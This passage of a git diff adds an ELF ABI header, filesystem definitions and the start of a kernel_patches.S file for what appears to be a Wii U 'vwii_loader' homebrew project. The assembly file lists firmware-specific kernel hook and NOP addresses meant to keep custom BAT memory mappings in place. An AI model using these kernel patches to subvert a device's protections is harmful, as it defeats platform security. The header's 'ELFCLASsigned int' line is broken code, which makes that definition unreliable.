WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 /* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define R_PPC_SDAREL16 32 +#define R_PPC_SECTOFF 33 +#define R_PPC_SECTOFF_LO 34 +#define R_PPC_SECTOFF_HI 35 +#define R_PPC_SECTOFF_HA 36 +/* Keep this the last entry. */ +#define R_PPC_NUM 37 + +/* The remaining relocs are from the Embedded ELF ABI, and are not + in the SVR4 ELF ABI. */ +#define R_PPC_EMB_NADDR32 101 +#define R_PPC_EMB_NADDR16 102 +#define R_PPC_EMB_NADDR16_LO 103 +#define R_PPC_EMB_NADDR16_HI 104 +#define R_PPC_EMB_NADDR16_HA 105 +#define R_PPC_EMB_SDAI16 106 +#define R_PPC_EMB_SDA2I16 107 +#define R_PPC_EMB_SDA2REL 108 +#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ +#define R_PPC_EMB_MRKREF 110 +#define R_PPC_EMB_RELSEC16 111 +#define R_PPC_EMB_RELST_LO 112 +#define R_PPC_EMB_RELST_HI 113 +#define R_PPC_EMB_RELST_HA 114 +#define R_PPC_EMB_BIT_FLD 115 +#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ + +/* Diab tool relocations. */ +#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ +#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ +#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ +#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ +#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ +#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ + +/* This is a phony reloc to handle any old fashioned TOC16 references + that may still be in object files. */ +#define R_PPC_TOC16 255 + +#endif /* _ELF_H */ diff --git a/dsrom/vwii_loader/fs_defs.h b/dsrom/vwii_loader/fs_defs.h new file mode 100644 index 0000000..1b3795b --- /dev/null +++ b/dsrom/vwii_loader/fs_defs.h @@ -0,0 +1,60 @@ +#ifndef FS_DEFS_H +#define FS_DEFS_H + +#ifdef __cplusplus +extern "C" { +#endif + + +/* FS defines and types */ +#define FS_MAX_LOCALPATH_SIZE 511 +#define FS_MAX_MOUNTPATH_SIZE 128 +#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) +#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE + +#define FS_STATUS_OK 0 +#define FS_RET_UNSUPPORTED_CMD 0x0400 +#define FS_RET_NO_ERROR 0x0000 +#define FS_RET_ALL_ERROR (unsigned int)(-1) + +#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 + +/* max length of file/dir name */ +#define FS_MAX_ENTNAME_SIZE 256 + +#define FS_SOURCETYPE_EXTERNAL 0 +#define FS_SOURCETYPE_HFIO 1 +#define FS_SOURCETYPE_HFIO 1 + +#define FS_MOUNT_SOURCE_SIZE 0x300 +#define FS_CLIENT_SIZE 0x1700 +#define FS_CMD_BLOCK_SIZE 0xA80 + +typedef struct +{ + uint32_t flag; + uint32_t permission; + uint32_t owner_id; + uint32_t group_id; + uint32_t size; + uint32_t alloc_size; + uint64_t quota_size; + uint32_t ent_id; + uint64_t ctime; + uint64_t mtime; + uint8_t attributes[48]; +} __attribute__((packed)) FSStat; + +typedef struct +{ + FSStat stat; + char name[FS_MAX_ENTNAME_SIZE]; +} FSDirEntry; + + +#ifdef __cplusplus +} +#endif + +#endif /* FS_DEFS_H */ + diff --git a/dsrom/vwii_loader/kernel_patches.S b/dsrom/vwii_loader/kernel_patches.S new file mode 100644 index 0000000..f5c0936 --- /dev/null +++ b/dsrom/vwii_loader/kernel_patches.S @@ -0,0 +1,282 @@ +#if (VER == 550) + #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 + # not all of those NOP address are required for every firmware + # mainly these should stop the kernel from removing our IBAT4 and DBAT5 + #define BAT_SET_NOP_ADDR_1 0xFFF06B6C + #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF1D70C + #define BAT_SET_NOP_ADDR_6 0xFFF1D728 + #define BAT_SET_NOP_ADDR_7 0xFFF1D82C + + #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 + #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 + +#elif ((VER == 532) || (VER == 540)) + #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 + + # not all of those NOP address are required for every firmware + # mainly these should stop the kernel from removing our IBAT4 and DBAT5 + #define BAT_SET_NOP_ADDR_1 0xFFF06A14 + #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF1D720 + #define BAT_SET_NOP_ADDR_6 0xFFF1D73C + #define BAT_SET_NOP_ADDR_7 0xFFF1D840 + + #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 + #define BAT_SET_NOP_ADDR_9 0xFFEE10BC + +#elif ((VER == 500) || (VER == 510)) + #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 + + #define BAT_SET_NOP_ADDR_1 0xFFF0697C + #define BAT_SET_NOP_ADDR_2 0xFFF06A08 + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF1D600 + #define BAT_SET_NOP_ADDR_6 0xFFF1D61C + #define BAT_SET_NOP_ADDR_7 0xFFF1D720 + + #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 + #define BAT_SET_NOP_ADDR_9 0xFFEE10BC +#elif VER == 410 + #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 + + #define BAT_SET_NOP_ADDR_1 0xFFF06708 + #define BAT_SET_NOP_ADDR_2 0xFFF06794 + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 + #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 + #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 + + #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 + #define BAT_SET_NOP_ADDR_9 0xFFEE10BC +#elif VER == 400 + #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 + + #define BAT_SET_NOP_ADDR_1 0xFFF066FC + #define BAT_SET_NOP_ADDR_2 0xFFF06788 + #define BAT_SET_NOP_ADDR_3 0xFFF003C8 + #define BAT_SET_NOP_ADDR_4 0xFFF003CC + #define BAT_SET_NOP_ADDR_5 0xFFF1A528 + #define 